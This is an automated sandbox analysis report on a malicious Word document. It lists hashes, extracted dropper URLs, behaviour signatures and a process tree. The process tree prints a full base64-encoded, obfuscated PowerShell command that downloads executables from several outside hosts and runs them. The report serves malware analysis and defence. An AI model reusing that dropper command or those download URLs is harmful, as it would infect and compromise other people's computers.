Analysis

  • max time kernel
    54s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:09

General

  • Target

    dfde7333bf1e1496475bae5462fd5bbc3c1cb32f48d4289ba1202c62962a1a43.doc

  • Size

    223KB

  • MD5

    788528655c447bf2ba012ac7300d10fa

  • SHA1

    52203fb658426f5077836c4a8cf9e8e36c3b74b0

  • SHA256

    dfde7333bf1e1496475bae5462fd5bbc3c1cb32f48d4289ba1202c62962a1a43

  • SHA512

    c7bc72db66535ddd0600d3662341fb496ea7f9269be0bc27f6fe49850e830c4f5e5a6304e0bc1c642640f360dd63bb479cdab1957af0231c5b2204eeb572513e

  • SSDEEP

    3072:Zz4PrXcuQuvpzm4bkiaMQgAlSazbSphmq4P:ZMDRv1m4bnQgISAepgqm

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://marmolhi.com/_vti_bin/0nNKKlWZ4/

exe.dropper

https://comerciopuravida.com/wp-admin/qqUV32Q/

exe.dropper

http://www.closmaq.com.br/wp-admin/nc/

exe.dropper

http://pulseti.com/isla/61D/

exe.dropper

https://hotelunique.com/teste/oxda9J0BvF/

exe.dropper

http://greensync.com.br/aspnet_clientOld/Xyicd/

exe.dropper

http://muabannodanluat.com/wp-admin/css/colors/kIxtL8/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dfde7333bf1e1496475bae5462fd5bbc3c1cb32f48d4289ba1202c62962a1a43.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1464
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABPAGcAOABiAHcAMgByAD0AKAAnAFMAJwArACgAJwAyACcAKwAnAGUAOQAzAGIAXwAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAHIAbwBGAGkAbABlAFwATgBOAF8AVgBEADAAMABcAFcAOAA3AGMAVQBaAEYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBgAGkAYABUAFkAYABQAFIAbwB0AE8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACkAKwAoACcAIAB0AGwAcwAnACsAJwAxADEAJwApACsAKAAnACwAJwArACcAIAB0ACcAKQArACcAbABzACcAKQA7ACQARgBkAGgAZAB2AHYAXwAgAD0AIAAoACcAQgBzACcAKwAoACcAeABnACcAKwAnADQAbQBlACcAKQArACcAaQAnACkAOwAkAFYANwBjADEANgBtAHUAPQAoACgAJwBFAHQAJwArACcAbwB5ACcAKQArACcAOQAnACsAJwBjADQAJwApADsAJABGAHEAMgAzAF8AdwA5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHIAQQAnACsAJwBDACcAKwAoACcATgAnACsAJwBuAF8AdgBkACcAKwAnADAAMAAnACsAJwByAEEAQwBXADgAJwArACcANwBjAHUAegBmACcAKwAnAHIAJwApACsAJwBBAEMAJwApAC4AIgByAGUAcABgAGwAQQBDAEUAIgAoACgAWwBjAGgAQQBSAF0AMQAxADQAKwBbAGMAaABBAFIAXQA2ADUAKwBbAGMAaABBAFIAXQA2ADcAKQAsAFsAUwB0AHIASQBuAGcAXQBbAGMAaABBAFIAXQA5ADIAKQApACsAJABGAGQAaABkAHYAdgBfACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQATwA3AG0ANgBiAGYANQA9ACgAJwBKAGIAJwArACgAJwBjAGMAJwArACcAMAAnACkAKwAnAGkAaQAnACkAOwAkAFYAcgBvAGUAcgBtAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBFAEIAQwBMAEkAZQBOAHQAOwAkAEEAeAB5AG0AYQBfAGUAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwBtAGEAcgAnACkAKwAoACcAbQBvACcAKwAnAGwAaABpAC4AYwBvAG0ALwAnACsAJwBfACcAKwAnAHYAJwApACsAJwB0ACcAKwAnAGkAXwAnACsAKAAnAGIAJwArACcAaQBuAC8AMABuAE4ASwAnACsAJwBLACcAKQArACcAbABXACcAKwAnAFoAJwArACgAJwA0AC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAJwArACcAcABzADoAJwArACcALwAvAGMAbwBtACcAKQArACgAJwBlAHIAYwAnACsAJwBpAG8AcAAnACsAJwB1AHIAYQB2ACcAKwAnAGkAJwArACcAZABhACcAKQArACcALgAnACsAKAAnAGMAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AaQBuAC8AJwApACsAKAAnAHEAJwArACcAcQBVACcAKQArACcAVgAzACcAKwAoACcAMgAnACsAJwBRAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYwBsAG8AJwArACcAcwAnACkAKwAnAG0AYQAnACsAJwBxAC4AJwArACgAJwBjAG8AbQAnACsAJwAuAGIAJwApACsAJwByACcAKwAoACcALwB3AHAALQBhACcAKwAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvAG4AJwArACgAJwBjACcAKwAnAC8AKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAJwArACcAOgAvAC8AcAB1ACcAKwAnAGwAcwBlACcAKQArACgAJwB0AGkAJwArACcALgBjAG8AJwApACsAKAAnAG0AJwArACcALwBpACcAKQArACcAcwBsACcAKwAoACcAYQAvADYAMQBEAC8AJwArACcAKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGgAJwApACsAKAAnAG8AdABlACcAKwAnAGwAdQBuAGkAJwArACcAcQAnACkAKwAoACcAdQBlACcAKwAnAC4AJwApACsAJwBjAG8AJwArACcAbQAvACcAKwAoACcAdABlACcAKwAnAHMAdABlAC8AbwB4ACcAKQArACgAJwBkAGEAOQAnACsAJwBKACcAKQArACgAJwAwACcAKwAnAEIAdgAnACkAKwAnAEYALwAnACsAJwAqACcAKwAoACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBnACcAKwAnAHIAZQAnACkAKwAoACcAZQBuAHMAJwArACcAeQBuAGMAJwArACcALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALgBiACcAKwAnAHIAJwApACsAJwAvAGEAJwArACgAJwBzAHAAbgAnACsAJwBlACcAKQArACcAdAAnACsAJwBfAGMAJwArACcAbAAnACsAKAAnAGkAZQAnACsAJwBuACcAKQArACcAdAAnACsAKAAnAE8AbAAnACsAJwBkACcAKQArACgAJwAvAFgAeQBpAGMAZAAnACsAJwAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvAG0AdQBhAGIAJwApACsAKAAnAGEAJwArACcAbgAnACsAJwBuAG8AJwArACcAZABhAG4AbAB1AGEAdAAnACkAKwAoACcALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAnACkAKwAoACcALQBhAGQAbQBpAG4ALwAnACsAJwBjAHMAcwAvAGMAJwArACcAbwAnACkAKwAnAGwAJwArACcAbwByACcAKwAoACcAcwAvACcAKwAnAGsAJwApACsAJwBJAHgAJwArACcAdABMACcAKwAnADgALwAnACkALgAiAHMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgB2ADQANgBwAHoANgA9ACgAJwBPACcAKwAoACcAXwAnACsAJwB3AHQAJwApACsAKAAnAHYANgAnACsAJwBkACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARABiAGYAZgB0ADQAOAAgAGkAbgAgACQAQQB4AHkAbQBhAF8AZQApAHsAdAByAHkAewAkAFYAcgBvAGUAcgBtAHMALgAiAEQAYABvAHcAbgBsAGAATwBBAEQAZgBpAGAAbABFACIAKAAkAEQAYgBmAGYAdAA0ADgALAAgACQARgBxADIAMwBfAHcAOQApADsAJABWAGwAaQBxADMAbwBwAD0AKAAoACcAQgBmAG4ANQAnACsAJwBqACcAKQArACcAcwBfACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABGAHEAMgAzAF8AdwA5ACkALgAiAGwAYABFAGAATgBnAHQASAAiACAALQBnAGUAIAAzADgAMwA5ADYAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQARgBxADIAMwBfAHcAOQApADsAJABJAF8AbgBrADkAcQA3AD0AKAAnAFgAawAnACsAKAAnAGMAdAAnACsAJwBsAG0AcwAnACkAKQA7AGIAcgBlAGEAawA7ACQAUQBpAHgAYQA0AGwAawA9ACgAJwBEADUAJwArACgAJwBqAG0AYgAnACsAJwBmAGQAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAaQBqADYAMgBmADgAPQAoACgAJwBKAG8AJwArACcANgAnACkAKwAoACcAZABuACcAKwAnAGUAMQAnACkAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2808

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1464-26-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

      Filesize

      1024KB

    • memory/1464-32-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

      Filesize

      1024KB

    • memory/1464-2-0x0000000070D5D000-0x0000000070D68000-memory.dmp

      Filesize

      44KB

    • memory/1464-6-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

      Filesize

      1024KB

    • memory/1464-21-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

      Filesize

      1024KB

    • memory/1464-16-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

      Filesize

      1024KB

    • memory/1464-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1464-31-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

      Filesize

      1024KB

    • memory/1464-0-0x000000002F7F1000-0x000000002F7F2000-memory.dmp

      Filesize

      4KB

    • memory/1464-50-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

      Filesize

      1024KB

    • memory/1464-46-0x0000000006120000-0x0000000006220000-memory.dmp

      Filesize

      1024KB

    • memory/1464-44-0x0000000070D5D000-0x0000000070D68000-memory.dmp

      Filesize

      44KB

    • memory/1464-45-0x0000000005ED0000-0x0000000005FD0000-memory.dmp

      Filesize

      1024KB

    • memory/2808-39-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

      Filesize

      32KB

    • memory/2808-38-0x000000001B560000-0x000000001B842000-memory.dmp

      Filesize

      2.9MB